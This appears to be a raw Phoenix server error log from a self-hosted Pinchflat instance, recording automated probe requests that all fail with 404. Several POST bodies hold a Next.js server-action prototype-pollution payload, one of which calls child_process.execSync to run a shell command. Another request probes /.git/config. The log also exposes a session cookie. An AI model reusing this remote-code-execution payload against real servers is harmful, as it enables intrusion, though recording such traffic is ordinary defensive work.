"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "POST", body_length: 860, path_info: :undefined, qs: "", has_body: true, streamid: 3, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}", "1" => "\"$@0\"", "1_$ACTION_ID_vercel" => "\"\"", "2" => "[]" }, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "POST", owner: #PID<0.3307.0>, params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}", "1" => "\"$@0\"", "1_$ACTION_ID_vercel" => "\"\"", "2" => "[]" }, path_info: [], path_params: %{}, port: 80, private: %{ :plug_multipart => :done, PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"content-length", "860"}, {"content-type", "multipart/form-data; boundary=--------WebKitFormBoundary11a6d5f74480423e"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk59rj842cFNcAAQCB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "content-length" => "860", "content-type" => "multipart/form-data; boundary=--------WebKitFormBoundary11a6d5f74480423e", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "POST", body_length: 860, path_info: :undefined, qs: "", has_body: true, streamid: 3, host_info: :undefined, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", (truncated) 02:10:05.657 [info] POST / 02:10:05.658 [debug] QUERY OK source="settings" db=0.3ms idle=452.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:05.659 [debug] QUERY OK source="settings" db=0.2ms idle=205.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:05.659 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:05.660 [error] #PID<0.3308.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 4) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: POST / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "content-length" => "636", "content-type" => "multipart/form-data; boundary=--------WebKitFormBoundary4e48be8da81549c1", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "POST", body_length: 636, path_info: :undefined, qs: "", has_body: true, streamid: 4, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"throw Object.assign(new Error('NEXT_REDIRECT'),{digest: 'NEXT_REDIRECT;push;/safe_check_11111;307;'});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}", "1" => "\"$@0\"", "2" => "[]" }, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "POST", owner: #PID<0.3308.0>, params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"throw Object.assign(new Error('NEXT_REDIRECT'),{digest: 'NEXT_REDIRECT;push;/safe_check_11111;307;'});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}", "1" => "\"$@0\"", "2" => "[]" }, path_info: [], path_params: %{}, port: 80, private: %{ :plug_multipart => :done, PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"content-length", "636"}, {"content-type", "multipart/form-data; boundary=--------WebKitFormBoundary4e48be8da81549c1"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk5-FDX_gNj8cAAQDB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "content-length" => "636", "content-type" => "multipart/form-data; boundary=--------WebKitFormBoundary4e48be8da81549c1", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "POST", body_length: 636, path_info: :undefined, qs: "", has_body: true, streamid: 4, host_info: :undefined, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, (truncated) 02:10:05.756 [info] GET /.git/config 02:10:05.758 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=303.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:05.758 [debug] QUERY OK source="settings" db=0.3ms idle=206.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:05.758 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:05.759 [error] #PID<0.3309.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 5) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3309.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk5-cuHrFgsDUAAQEB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, hal (truncated) 02:10:05.857 [info] POST / 02:10:05.858 [debug] QUERY OK source="settings" db=0.1ms idle=305.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:05.858 [debug] QUERY OK source="settings" db=0.1ms idle=199.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:05.858 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:05.859 [error] #PID<0.3310.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 6) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: POST / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "content-length" => "13", "content-type" => "application/x-www-form-urlencoded", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "POST", body_length: 13, path_info: :undefined, qs: "", has_body: true, streamid: 6, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{"need_fuck" => "yes"}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "POST", owner: #PID<0.3310.0>, params: %{"need_fuck" => "yes"}, path_info: [], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"content-length", "13"}, {"content-type", "application/x-www-form-urlencoded"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk5-0zNRAf2GUAAQFB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, 